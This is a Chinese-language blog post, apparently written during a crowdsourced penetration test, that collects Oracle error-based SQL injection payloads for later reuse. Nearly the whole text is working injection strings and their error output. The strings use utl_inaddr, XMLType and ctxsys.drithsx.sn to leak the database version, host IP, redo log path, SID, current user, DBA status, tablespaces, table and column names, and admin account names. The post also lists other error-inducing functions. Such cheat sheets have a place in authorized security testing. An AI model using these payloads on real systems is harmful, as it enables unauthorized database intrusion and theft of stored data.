“还是前两天的众测,遇到了一处oracle注入。于是趁有时间于是收集一些oracle报错注入的payload,以备不时之需”
01
漏洞确认
当输入一个单引号时,系统报错:
当输入两个单引号时,系统返回正常信息。
很确定这里存在sql注入,但是由于涉及到一些绕waf的事情,sqlmap没法直接跑出结果,只能手工注入了。
oracle注入我接触的少,于是收集一些oracle报错注入的payload,以备不时之需。
02
payload收集
【1】爆版本号
方法一:
11111' || utl_inaddr.get_host_name( (select banner from v$version where rownum=1)) -- 报错信息:ORA-29257: 未知的主机 Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production ORA-06512: 在 "SYS.UTL_INADDR", line 4 ORA-06512: 在 "SYS.UTL_INADDR", line 35 ORA-06512: 在 line 1
utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。
方法二:
11111' and 1=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from du) -- 报错信息:ORA-31011: XML 语法分析失败 ORA-19202: XML 处理 LPX-00110: Warning: 无效的 QName "::Oracle:Database:11g:Enterprise:Edition:Release:11.1.0.7.0:-:Production" (不是名称) Error at line 1 时出错 ORA-06512: 在 "SYS.XMLTYPE", line 310 ORA-06512: 在 line 1
方法三:
111111' and 1=ctxsys.drithsx.sn(1, (select banner from v$version where rownum=1)) – 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1
【2】爆ip:
1111111' and 1=ctxsys.drithsx.sn(1,(select utl_inaddr.get_host_address from dual)) -- 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 210.35.35.10 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1
类似的:
可以爆日志的位置:
(select member from v$logfile where rownum=1) 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 F:\APP\ADMINISTRATOR\ORADATA\ORCL\REDO03.LOG 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1
可以爆sid:
(select instance_name from v$instance) 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 orcl 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1
可以爆当前用户信息:
(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual) 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 NCHD 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1
判断是不是dba:
(select SYS_CONTEXT ('USERENV', 'ISDBA') from dual) 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 FALSE 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1
【3】爆表空间(oracle没有数据库这个概念,代替的是:表空间):
11111' and 1=ctxsys.drithsx.sn(1,(SELECT TABLESPACE_NAME FROM(SELECT DBA_TABLESPACES.TABLESPACE_NAME, ROWNUM AS CON FROM DBA_TABLESPACES WHERE ROWNUM <= 1)WHERE CON >=1)) -- 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 SYSTEM 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1
PS:想要查其他的表空间,只要把数字改一改就好,比如想查第二个表空间则这么写:
111111' and 1=ctxsys.drithsx.sn(1,(SELECT TABLESPACE_NAME FROM(SELECT DBA_TABLESPACES.TABLESPACE_NAME, ROWNUM AS CON FROM DBA_TABLESPACES WHERE ROWNUM <= 2)WHERE CON >=2)) -- 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 SYSAUX 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1
【4】查表:
11111111' and 1=ctxsys.drithsx.sn(1,(SELECT table_name FROM(SELECT user_tables.table_name, ROWNUM AS CON FROM user_tables WHERE ROWNUM <= 1)WHERE CON >=1)) – 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 QKDDK_140923 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1
Ps:查第二个表就是这么写:
111111111' and 1=ctxsys.drithsx.sn(1,(SELECT table_name FROM(SELECT user_tables.table_name, ROWNUM AS CON FROM user_tables WHERE ROWNUM <= 2)WHERE CON >=2)) –
【5】查 “ZD_DW” 表字段:
1111111111' and 1=ctxsys.drithsx.sn(1,(SELECT column_name FROM(SELECT user_tab_columns.column_name, ROWNUM AS CON FROM user_tab_columns WHERE ROWNUM <= 1 and table_name='ZD_DW')WHERE CON >=1)) – 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 F1 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1
【6】查数据:
11111111' and 1=ctxsys.drithsx.sn(1,(SELECT ADMINS_NAME FROM(SELECT TT_ADMINS.ADMINS_NAME, ROWNUM AS CON FROM TT_ADMINS WHERE ROWNUM <= 1)WHERE CON >=1)) – 报错信息:ORA-20000: Oracle Text 错误: DRG-11701: 主题词表 TTADMINS 不存在 ORA-06512: 在 "CTXSYS.DRUE", line 160 ORA-06512: 在 "CTXSYS.DRITHSX", line 538 ORA-06512: 在 line 1
其他常用报错函数:
dbms_xdb_version.checkin()dbms_xdb_version.uncheckin()dbms_xdb_version.makeversioned()dbms_utility.sqlid_to_sqlhash()UTL_INADDR.get_host_name()UTL_INADDR.get_host_address()
参考文章:
https://blog.csdn.net/niexinming/article/details/48985873?locationNum=10&fps=1https://www.cnblogs.com/-qing-/p/10949562.html